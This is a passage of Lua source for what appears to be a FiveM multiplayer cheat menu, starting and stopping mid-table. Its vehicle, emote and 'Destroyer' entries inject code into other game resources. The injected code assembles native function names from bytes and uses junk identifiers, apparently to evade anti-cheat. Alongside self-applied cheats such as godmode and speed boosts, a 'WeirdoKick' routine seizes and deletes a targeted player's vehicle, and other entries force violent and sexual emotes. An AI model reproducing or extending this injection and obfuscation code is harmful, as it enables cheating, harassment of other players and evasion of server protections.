Modifier', submenu = { { label = 'Repair Vehicle', type = 'button', canBind = true, bindName = 'Repair Vehicle', onConfirm = function() SafeInjectResourceRaw(InjectionResource(), [[ local vehicle = GetVehiclePedIsIn(PlayerPedId(), false) if vehicle ~= 0 then SetVehicleFixed(vehicle) SetVehicleDeformationFixed(vehicle) SetVehicleUndriveable(vehicle, false) SetVehicleEngineOn(vehicle, true, true) end ]]) end }, { label = 'Vehicle Godmode', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Vehicle Godmode', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if zXcVbNmQwErTyUi == nil then zXcVbNmQwErTyUi = false end zXcVbNmQwErTyUi = true local function ]] .. _d(_b("LWyZoXRbqK")) .. [[() local ]] .. _d(_b("LkJhGfDsAzXcVb")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ ]] .. _d(_b("LkJhGfDsAzXcVb")) .. [[(function() while zXcVbNmQwErTyUi and not Unloaded do local ]] .. _d(_b("QwErTyUiOpAsDfG")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("TyUiOpAsDfGhJkL")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("AsDfGhJkLzXcVbN")) .. [[ = ]] .. _d(_b("SetEntityInvincible")) .. [[ local vehicle = ]] .. _d(_b("QwErTyUiOpAsDfG")) .. [[(]] .. _d(_b("TyUiOpAsDfGhJkL")) .. [[(), false) if vehicle and vehicle ~= 0 then ]] .. _d(_b("AsDfGhJkLzXcVbN")) .. [[(vehicle, true) end Wait(0) end end) end ]] .. _d(_b("LWyZoXRbqK")) .. [[() ]] or [[ zXcVbNmQwErTyUi = false local ]] .. _d(_b("QwErTyUiOpAsDfG")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("TyUiOpAsDfGhJkL")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("AsDfGhJkLzXcVbN")) .. [[ = ]] .. _d(_b("SetEntityInvincible")) .. [[ local vehicle = ]] .. _d(_b("QwErTyUiOpAsDfG")) .. [[(]] .. _d(_b("TyUiOpAsDfGhJkL")) .. [[(), true) if vehicle and vehicle ~= 0 then ]] .. _d(_b("AsDfGhJkLzXcVbN")) .. [[(vehicle, false) end ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'Delete Vehicle', type = 'button', canBind = true, bindName = 'Delete Vehicle', onConfirm = function() -- Get selected player from MachoMenu local sEpTaRgEtXzYw = MachoMenuGetSelectedPlayer() if sEpTaRgEtXzYw and sEpTaRgEtXzYw > 0 then SafeInjectResourceRaw(InjectionResource(), string.format([[ -- Function to get player ID from server ID local function GetPlayerFromServerId(serverId) for _, player in ipairs(GetActivePlayers()) do if GetPlayerServerId(player) == serverId then return player end end return nil end -- WeirdoKick Function - Vehicle Takeover Script local function WeirdoKick(serverId) -- Convert server ID to player ID local playerId = GetPlayerFromServerId(serverId) if not playerId then --- ("Error: Player with server ID " .. tostring(serverId) .. " not found") return end local Coords = GetEntityCoords(PlayerPedId()) local Player = GetPlayerPed(playerId) -- Safety check: Ensure target player exists if Player == 0 or not DoesEntityExist(Player) then --- ("Error: Player ped not found for server ID " .. tostring(serverId)) return end -- Get the vehicle the target player is in local Vehicle = GetVehiclePedIsIn(Player, false) if Vehicle == 0 then --- ("Error: Player " .. tostring(serverId) .. " is not in a vehicle") return end local Ped = PlayerPedId() local SetVehicleExclusiveDriver_2 = SetVehicleExclusiveDriver_2 local SetPedIntoVehicle = SetPedIntoVehicle -- Execute the vehicle takeover sequence SetVehicleExclusiveDriver_2(Vehicle, Ped, 1) Wait(45) SetVehicleInactiveDuringPlayback(Vehicle, true) Wait(75) SetPedIntoVehicle(Ped, Vehicle, -1) Wait(10) SetVehicleExclusiveDriver_2(Vehicle, Ped, 1) Wait(35) SetVehicleInactiveDuringPlayback(Vehicle, false) -- Stay in the vehicle for 1 second before deletion Wait(1000) -- Delete the vehicle while we're in it if DoesEntityExist(Vehicle) then -- Network control method if NetworkGetEntityIsNetworked(Vehicle) then NetworkRequestControlOfEntity(Vehicle) local timeout = 0 while not NetworkHasControlOfEntity(Vehicle) and timeout < 20 do Wait(50) timeout = timeout + 1 end end SetEntityAsMissionEntity(Vehicle, true, true) DeleteEntity(Vehicle) Wait(100) -- Backup deletion methods if DoesEntityExist(Vehicle) then SetVehicleHasBeenOwnedByPlayer(Vehicle, false) DeleteVehicle(Vehicle) end --- ("Vehicle deleted while occupied") end Wait(100) -- Return player to original coordinates SetEntityCoordsNoOffset(PlayerPedId(), Coords.x, Coords.y, Coords.z, false, false, false) --- ("WeirdoKick executed successfully on server ID " .. tostring(serverId) .. " (player ID: " .. tostring(playerId) .. ")") end -- Execute the function with the target server ID WeirdoKick(%d) ]], sEpTaRgEtXzYw)) end end }, { label = 'Vehicle Auto Repair', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Vehicle Auto Repair', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if PlAsQwErTyUiOp == nil then PlAsQwErTyUiOp = false end PlAsQwErTyUiOp = true local function ]] .. _d(_b("uPkqLXTm98")) .. [[() local ]] .. _d(_b("QwErTyUiOpAsDf")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ ]] .. _d(_b("QwErTyUiOpAsDf")) .. [[(function() while PlAsQwErTyUiOp and not Unloaded do local ]] .. _d(_b("AsDfGhJkLzXcVb")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("LzXcVbNmQwErTy")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("VbNmLkJhGfDsAz")) .. [[ = ]] .. _d(_b("SetVehicleFixed")) .. [[ local ]] .. _d(_b("MnBvCxZaSdFgHj")) .. [[ = ]] .. _d(_b("SetVehicleDirtLevel")) .. [[ local ped = ]] .. _d(_b("AsDfGhJkLzXcVb")) .. [[() local vehicle = ]] .. _d(_b("LzXcVbNmQwErTy")) .. [[(ped, false) if vehicle and vehicle ~= 0 then ]] .. _d(_b("VbNmLkJhGfDsAz")) .. [[(vehicle) ]] .. _d(_b("MnBvCxZaSdFgHj")) .. [[(vehicle, 0.0) end Wait(0) end end) end ]] .. _d(_b("uPkqLXTm98")) .. [[() ]] or [[ PlAsQwErTyUiOp = false ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'Freeze Vehicle', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Freeze Vehicle', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if LzKxWcVbNmQwErTy == nil then LzKxWcVbNmQwErTy = false end LzKxWcVbNmQwErTy = true local function ]] .. _d(_b("WkQ79ZyLpT")) .. [[() local ]] .. _d(_b("tYhGtFrDeSwQaZx")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ local ]] .. _d(_b("xCvBnMqWeRtYuIo")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("aSdFgHjKlZxCvBn")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("gKdNqLpYxMiV")) .. [[ = ]] .. _d(_b("FreezeEntityPosition")) .. [[ local ]] .. _d(_b("jBtWxFhPoZuR")) .. [[ = ]] .. _d(_b("Wait")) .. [[ ]] .. _d(_b("tYhGtFrDeSwQaZx")) .. [[(function() while LzKxWcVbNmQwErTy and not Unloaded do local ]] .. _d(_b("VbNmLkJhGfDsAzX")) .. [[ = ]] .. _d(_b("xCvBnMqWeRtYuIo")) .. [[() local ]] .. _d(_b("IoPlMnBvCxZaSdF")) .. [[ = ]] .. _d(_b("aSdFgHjKlZxCvBn")) .. [[(]] .. _d(_b("VbNmLkJhGfDsAzX")) .. [[, false) if ]] .. _d(_b("IoPlMnBvCxZaSdF")) .. [[ and ]] .. _d(_b("IoPlMnBvCxZaSdF")) .. [[ ~= 0 then ]] .. _d(_b("gKdNqLpYxMiV")) .. [[(]] .. _d(_b("IoPlMnBvCxZaSdF")) .. [[, true) end ]] .. _d(_b("jBtWxFhPoZuR")) .. [[(0) end end) end ]] .. _d(_b("WkQ79ZyLpT")) .. [[() ]] or [[ LzKxWcVbNmQwErTy = false local function ]] .. _d(_b("i7qWlBXtPo")) .. [[() local ]] .. _d(_b("yUiOpAsDfGhJkLz")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("QwErTyUiOpAsDfG")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("FdSaPlMnBvCxZlK")) .. [[ = ]] .. _d(_b("FreezeEntityPosition")) .. [[ local ]] .. _d(_b("pEdRfTgYhUjIkOl")) .. [[ = ]] .. _d(_b("yUiOpAsDfGhJkLz")) .. [[() local ]] .. _d(_b("zXcVbNmQwErTyUi")) .. [[ = ]] .. _d(_b("QwErTyUiOpAsDfG")) .. [[(]] .. _d(_b("pEdRfTgYhUjIkOl")) .. [[, true) if ]] .. _d(_b("zXcVbNmQwErTyUi")) .. [[ and ]] .. _d(_b("zXcVbNmQwErTyUi")) .. [[ ~= 0 then ]] .. _d(_b("FdSaPlMnBvCxZlK")) .. [[(]] .. _d(_b("zXcVbNmQwErTyUi")) .. [[, false) end end ]] .. _d(_b("i7qWlBXtPo")) .. [[() ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'Vehicle Hop', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Vehicle Hop', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if NuRqVxEyKiOlZm == nil then NuRqVxEyKiOlZm = false end NuRqVxEyKiOlZm = true local function ]] .. _d(_b("qPTnXLZKyb")) .. [[() local ]] .. _d(_b("ZlXoKmVcJdBeTr")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ ]] .. _d(_b("ZlXoKmVcJdBeTr")) .. [[(function() while NuRqVxEyKiOlZm and not Unloaded do local ]] .. _d(_b("GvHnMzLoPqAxEs")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("DwZaQsXcErDfGt")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("BtNhUrLsEkJmWq")) .. [[ = ]] .. _d(_b("IsDisabledControlPressed")) .. [[ local ]] .. _d(_b("PlZoXvNyMcKwQi")) .. [[ = ]] .. _d(_b("ApplyForceToEntity")) .. [[ local ]] .. _d(_b("GtBvCzHnUkYeWr")) .. [[ = ]] .. _d(_b("GvHnMzLoPqAxEs")) .. [[() local ]] .. _d(_b("OaXcJkWeMzLpRo")) .. [[ = ]] .. _d(_b("DwZaQsXcErDfGt")) .. [[(]] .. _d(_b("GtBvCzHnUkYeWr")) .. [[, false) if ]] .. _d(_b("OaXcJkWeMzLpRo")) .. [[ and ]] .. _d(_b("OaXcJkWeMzLpRo")) .. [[ ~= 0 and ]] .. _d(_b("BtNhUrLsEkJmWq")) .. [[(0, 22) then ]] .. _d(_b("PlZoXvNyMcKwQi")) .. [[(]] .. _d(_b("OaXcJkWeMzLpRo")) .. [[, 1, 0.0, 0.0, 6.0, 0.0, 0.0, 0.0, 0, true, true, true, true, true) end Wait(0) end end) end ]] .. _d(_b("qPTnXLZKyb")) .. [[() ]] or [[ NuRqVxEyKiOlZm = false ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'Rainbow Vehicle', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Rainbow Vehicle', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if GxRpVuNzYiTq == nil then GxRpVuNzYiTq = false end GxRpVuNzYiTq = true local function ]] .. _d(_b("jqX7TvYzWq")) .. [[() local ]] .. _d(_b("WvBnMpLsQzTx")) .. [[ = ]] .. _d(_b("GetGameTimer")) .. [[ local ]] .. _d(_b("VcZoPwLsEkRn")) .. [[ = ]] .. _d(_b("math.floor")) .. [[ local ]] .. _d(_b("DfHkLtQwAzCx")) .. [[ = ]] .. _d(_b("math.sin")) .. [[ local ]] .. _d(_b("PlJoQwErTgYs")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ local ]] .. _d(_b("MzLxVoKsUyNz")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("EyUiNkOpLtRg")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("KxFwEmTrZpYq")) .. [[ = ]] .. _d(_b("DoesEntityExist")) .. [[ local ]] .. _d(_b("UfBnDxCrQeTg")) .. [[ = ]] .. _d(_b("SetVehicleCustomPrimaryColour")) .. [[ local ]] .. _d(_b("BvNzMxLoPwEq")) .. [[ = ]] .. _d(_b("SetVehicleCustomSecondaryColour")) .. [[ local ]] .. _d(_b("yGfTzLkRn")) .. [[ = 1.0 local function ]] .. _d(_b("HrCvWbXuNz")) .. [[(freq) local color = {} local t = ]] .. _d(_b("WvBnMpLsQzTx")) .. [[() / 1000 color.r = ]] .. _d(_b("VcZoPwLsEkRn")) .. [[(]] .. _d(_b("DfHkLtQwAzCx")) .. [[(t * freq + 0) * 127 + 128) color.g = ]] .. _d(_b("VcZoPwLsEkRn")) .. [[(]] .. _d(_b("DfHkLtQwAzCx")) .. [[(t * freq + 2) * 127 + 128) color.b = ]] .. _d(_b("VcZoPwLsEkRn")) .. [[(]] .. _d(_b("DfHkLtQwAzCx")) .. [[(t * freq + 4) * 127 + 128) return color end ]] .. _d(_b("PlJoQwErTgYs")) .. [[(function() while GxRpVuNzYiTq and not Unloaded do local ped = ]] .. _d(_b("EyUiNkOpLtRg")) .. [[() local veh = ]] .. _d(_b("MzLxVoKsUyNz")) .. [[(ped, false) if veh and veh ~= 0 and ]] .. _d(_b("KxFwEmTrZpYq")) .. [[(veh) then local rgb = ]] .. _d(_b("HrCvWbXuNz")) .. [[(]] .. _d(_b("yGfTzLkRn")) .. [[) ]] .. _d(_b("UfBnDxCrQeTg")) .. [[(veh, rgb.r, rgb.g, rgb.b) ]] .. _d(_b("BvNzMxLoPwEq")) .. [[(veh, rgb.r, rgb.g, rgb.b) end Wait(0) end end) end ]] .. _d(_b("jqX7TvYzWq")) .. [[() ]] or [[ GxRpVuNzYiTq = false ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'Drift Mode (Hold Shift)', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Drift Mode', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if MqTwErYuIoLp == nil then MqTwErYuIoLp = false end MqTwErYuIoLp = true local function ]] .. _d(_b("PlRtXqJm92")) .. [[() local ]] .. _d(_b("XtFgDsQwAzLp")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ local ]] .. _d(_b("UiOpAsDfGhKl")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("JkHgFdSaPlMn")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("WqErTyUiOpAs")) .. [[ = ]] .. _d(_b("IsDisabledControlPressed")) .. [[ local ]] .. _d(_b("AsZxCvBnMaSd")) .. [[ = ]] .. _d(_b("DoesEntityExist")) .. [[ local ]] .. _d(_b("KdJfGvBhNtMq")) .. [[ = ]] .. _d(_b("SetVehicleReduceGrip")) .. [[ ]] .. _d(_b("XtFgDsQwAzLp")) .. [[(function() while MqTwErYuIoLp and not Unloaded do Wait(0) local ped = ]] .. _d(_b("UiOpAsDfGhKl")) .. [[() local veh = ]] .. _d(_b("JkHgFdSaPlMn")) .. [[(ped, false) if veh ~= 0 and ]] .. _d(_b("AsZxCvBnMaSd")) .. [[(veh) then if ]] .. _d(_b("WqErTyUiOpAs")) .. [[(0, 21) then ]] .. _d(_b("KdJfGvBhNtMq")) .. [[(veh, true) else ]] .. _d(_b("KdJfGvBhNtMq")) .. [[(veh, false) end end end end) end ]] .. _d(_b("PlRtXqJm92")) .. [[() ]] or [[ MqTwErYuIoLp = false local ]] .. _d(_b("ZtQwErTyUiOp")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("DfGhJkLzXcVb")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("VbNmAsDfGhJk")) .. [[ = ]] .. _d(_b("DoesEntityExist")) .. [[ local ]] .. _d(_b("NlJkHgFdSaPl")) .. [[ = ]] .. _d(_b("SetVehicleReduceGrip")) .. [[ local ped = ]] .. _d(_b("ZtQwErTyUiOp")) .. [[() local veh = ]] .. _d(_b("DfGhJkLzXcVb")) .. [[(ped, false) if veh ~= 0 and ]] .. _d(_b("VbNmAsDfGhJk")) .. [[(veh) then ]] .. _d(_b("NlJkHgFdSaPl")) .. [[(veh, false) end ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'Easy Handling', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Easy Handling', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if NvGhJkLpOiUy == nil then NvGhJkLpOiUy = false end NvGhJkLpOiUy = true local function ]] .. _d(_b("KbZwVoYtLx")) .. [[() local ]] .. _d(_b("BtGhYtUlOpLk")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ local ]] .. _d(_b("WeRtYuIoPlMn")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("TyUiOpAsDfGh")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("UyTrBnMvCxZl")) .. [[ = ]] .. _d(_b("SetVehicleGravityAmount")) .. [[ local ]] .. _d(_b("PlMnBvCxZaSd")) .. [[ = ]] .. _d(_b("SetVehicleStrong")) .. [[ ]] .. _d(_b("BtGhYtUlOpLk")) .. [[(function() while NvGhJkLpOiUy and not Unloaded do local ped = ]] .. _d(_b("WeRtYuIoPlMn")) .. [[() local veh = ]] .. _d(_b("TyUiOpAsDfGh")) .. [[(ped, false) if veh and veh ~= 0 then ]] .. _d(_b("UyTrBnMvCxZl")) .. [[(veh, 73.0) ]] .. _d(_b("PlMnBvCxZaSd")) .. [[(veh, true) end Wait(0) end local ped = ]] .. _d(_b("WeRtYuIoPlMn")) .. [[() local veh = ]] .. _d(_b("TyUiOpAsDfGh")) .. [[(ped, false) if veh and veh ~= 0 then ]] .. _d(_b("UyTrBnMvCxZl")) .. [[(veh, 9.8) ]] .. _d(_b("PlMnBvCxZaSd")) .. [[(veh, false) end end) end ]] .. _d(_b("KbZwVoYtLx")) .. [[() ]] or [[ NvGhJkLpOiUy = false local ]] .. _d(_b("UyTrBnMvCxZl")) .. [[ = ]] .. _d(_b("SetVehicleGravityAmount")) .. [[ local ]] .. _d(_b("PlMnBvCxZaSd")) .. [[ = ]] .. _d(_b("SetVehicleStrong")) .. [[ local ped = PlayerPedId() local veh = GetVehiclePedIsIn(ped, false) if veh and veh ~= 0 then ]] .. _d(_b("UyTrBnMvCxZl")) .. [[(veh, 9.8) ]] .. _d(_b("PlMnBvCxZaSd")) .. [[(veh, false) end ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'Shift Boost', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Shift Boost', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if QwErTyUiOpSh == nil then QwErTyUiOpSh = false end QwErTyUiOpSh = true local function ]] .. _d(_b("ZxCvBnMmLl")) .. [[() local ]] .. _d(_b("aAaBbCcDdEe")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ local ]] .. _d(_b("fFfGgGgHhIi")) .. [[ = ]] .. _d(_b("Wait")) .. [[ local ]] .. _d(_b("jJkKlLmMnNo")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("pPqQrRsStTu")) .. [[ = ]] .. _d(_b("IsPedInAnyVehicle")) .. [[ local ]] .. _d(_b("vVwWxXyYzZa")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("bBcCdDeEfFg")) .. [[ = ]] .. _d(_b("IsDisabledControlJustPressed")) .. [[ local ]] .. _d(_b("sSeEtTvVbBn")) .. [[ = ]] .. _d(_b("SetVehicleForwardSpeed")) .. [[ ]] .. _d(_b("aAaBbCcDdEe")) .. [[(function() while QwErTyUiOpSh and not Unloaded do local _ped = ]] .. _d(_b("jJkKlLmMnNo")) .. [[() if ]] .. _d(_b("pPqQrRsStTu")) .. [[(_ped, false) then local _veh = ]] .. _d(_b("vVwWxXyYzZa")) .. [[(_ped, false) if _veh ~= 0 and ]] .. _d(_b("bBcCdDeEfFg")) .. [[(0, 21) then ]] .. _d(_b("sSeEtTvVbBn")) .. [[(_veh, 50.0) end end ]] .. _d(_b("fFfGgGgHhIi")) .. [[(0) end end) end ]] .. _d(_b("ZxCvBnMmLl")) .. [[() ]] or [[ QwErTyUiOpSh = false ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'Instant Brakes', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Instant Brakes', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if VkLpOiUyTrEq == nil then VkLpOiUyTrEq = false end VkLpOiUyTrEq = true local function ]] .. _d(_b("YgT7FrqXcN")) .. [[() local ]] .. _d(_b("ZxSeRtYhUiOp")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ local ]] .. _d(_b("LkJhGfDsAzXv")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("PoLkJhBgVfCd")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("ErTyUiOpAsDf")) .. [[ = ]] .. _d(_b("IsDisabledControlPressed")) .. [[ local ]] .. _d(_b("GtHyJuKoLpMi")) .. [[ = ]] .. _d(_b("IsPedInAnyVehicle")) .. [[ local ]] .. _d(_b("VbNmQwErTyUi")) .. [[ = ]] .. _d(_b("SetVehicleForwardSpeed")) .. [[ ]] .. _d(_b("ZxSeRtYhUiOp")) .. [[(function() while VkLpOiUyTrEq and not Unloaded do local ped = ]] .. _d(_b("LkJhGfDsAzXv")) .. [[() local veh = ]] .. _d(_b("PoLkJhBgVfCd")) .. [[(ped, false) if veh and veh ~= 0 then if ]] .. _d(_b("ErTyUiOpAsDf")) .. [[(0, 33) and ]] .. _d(_b("GtHyJuKoLpMi")) .. [[(ped, false) then ]] .. _d(_b("VbNmQwErTyUi")) .. [[(veh, 0.0) end end Wait(0) end end) end ]] .. _d(_b("YgT7FrqXcN")) .. [[() ]] or [[ VkLpOiUyTrEq = false ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'Unlimited Fuel', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Unlimited Fuel', onConfirm = function(setToggle) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end local code = setToggle and [[ if BlNkJmLzXcVb == nil then BlNkJmLzXcVb = false end BlNkJmLzXcVb = true local function ]] .. _d(_b("LqWyXpR3tV")) .. [[() local ]] .. _d(_b("TmPlKoMiJnBg")) .. [[ = ]] .. _d(_b("CreateThread")) .. [[ local ]] .. _d(_b("ZxCvBnMaSdFg")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("YhUjIkOlPlMn")) .. [[ = ]] .. _d(_b("IsPedInAnyVehicle")) .. [[ local ]] .. _d(_b("VcXzQwErTyUi")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("KpLoMkNjBhGt")) .. [[ = ]] .. _d(_b("DoesEntityExist")) .. [[ local ]] .. _d(_b("JkLzXcVbNmAs")) .. [[ = ]] .. _d(_b("SetVehicleFuelLevel")) .. [[ ]] .. _d(_b("TmPlKoMiJnBg")) .. [[(function() while BlNkJmLzXcVb and not Unloaded do local ped = ]] .. _d(_b("ZxCvBnMaSdFg")) .. [[() if ]] .. _d(_b("YhUjIkOlPlMn")) .. [[(ped, false) then local veh = ]] .. _d(_b("VcXzQwErTyUi")) .. [[(ped, false) if ]] .. _d(_b("KpLoMkNjBhGt")) .. [[(veh) then ]] .. _d(_b("JkLzXcVbNmAs")) .. [[(veh, 100.0) end end Wait(100) end end) end ]] .. _d(_b("LqWyXpR3tV")) .. [[() ]] or [[ BlNkJmLzXcVb = false ]] SafeInjectResourceRaw(InjectionResource(), code) end }, { label = 'License Plate', type = 'inputbox', placeholder = '...', onConfirm = function(input) local _b = function(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local _d = function(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local _g = function(n) local k = _d(n) local f = _G[k] return f end if type(input) == "string" and input ~= "" then local code = string.format([[ local function ]] .. _d(_b("xKqLZVwPt9")) .. [[() local ]] .. _d(_b("XcVbNmAsDfGhJkL")) .. [[ = ]] .. _d(_b("PlayerPedId")) .. [[ local ]] .. _d(_b("TyUiOpZxCvBnMzLk")) .. [[ = ]] .. _d(_b("GetVehiclePedIsIn")) .. [[ local ]] .. _d(_b("PoIuYtReWqAzXsDc")) .. [[ = _G.SetVehicleNumberPlateText local pEd = ]] .. _d(_b("XcVbNmAsDfGhJkL")) .. [[() local vEh = ]] .. _d(_b("TyUiOpZxCvBnMzLk")) .. [[(pEd, false) if vEh and vEh ~= 0 then ]] .. _d(_b("PoIuYtReWqAzXsDc")) .. [[(vEh, "%s") end end ]] .. _d(_b("xKqLZVwPt9")) .. [[() ]], input) SafeInjectResourceRaw(InjectionResource(), code) end end } } } } }, { label = "Force Emote", type = 'submenu', icon = 'ph-smiley', tabs = { { name = 'Force Emotes', submenu = { { label = 'Custom Emote Name', type = 'button', canBind = true, bindName = 'Custom Emote', onConfirm = function() openTextInput( "Enter emote name:", "Type emote name here...", "", 50, function(emoteName) if emoteName and emoteName ~= "" then ---("Custom emote triggered:", emoteName) SafeInjectResourceRaw(InjectionResource(), [[ TriggerEvent("ClientEmoteRequestReceive", "]] .. emoteName .. [[", true) ]]) else ---("Emote name is required!") end end, "alphanumeric" ) end }, { label = 'Slapped', type = 'button', canBind = true, bindName = 'Force Slapped Emote', onConfirm = function() SafeInjectResourceRaw(InjectionResource(), [[ TriggerEvent("ClientEmoteRequestReceive", "slapped", true) ]]) end }, { label = 'Punched', type = 'button', canBind = true, bindName = 'Force Punched Emote', onConfirm = function() SafeInjectResourceRaw(InjectionResource(), [[ TriggerEvent("ClientEmoteRequestReceive", "punched", true) ]]) end }, { label = 'Give Blowjob', type = 'button', canBind = true, bindName = 'Force Blowjob Emote', onConfirm = function() ---("Force emote: giveblowjob") SafeInjectResourceRaw(InjectionResource(), [[ TriggerEvent("ClientEmoteRequestReceive", "giveblowjob", true) ]]) end }, { label = 'Headbutted', type = 'button', canBind = true, bindName = 'Force Headbutted Emote', onConfirm = function() ---("Force emote: headbutted") SafeInjectResourceRaw(InjectionResource(), [[ TriggerEvent("ClientEmoteRequestReceive", "headbutted", true) ]]) end }, { label = 'Hug4', type = 'button', canBind = true, bindName = 'Force Hug4 Emote', onConfirm = function() ---("Force emote: hug4") SafeInjectResourceRaw(InjectionResource(), [[ TriggerEvent("ClientEmoteRequestReceive", "hug4", true) ]]) end }, { label = 'Streetsex Female', type = 'button', canBind = true, bindName = 'Force Streetsex Female Emote', onConfirm = function() ---("Force emote: streetsexfemale") SafeInjectResourceRaw(InjectionResource(), [[ TriggerEvent("ClientEmoteRequestReceive", "streetsexfemale", true) ]]) end } } } } }, { label = "Miscellaneous", type = 'submenu', icon = 'ph-dice-six', tabs = { { name = 'Destroyer', submenu = { { label = 'Plane Nuke All', type = 'checkbox', checked = false, canBind = true, bindName = 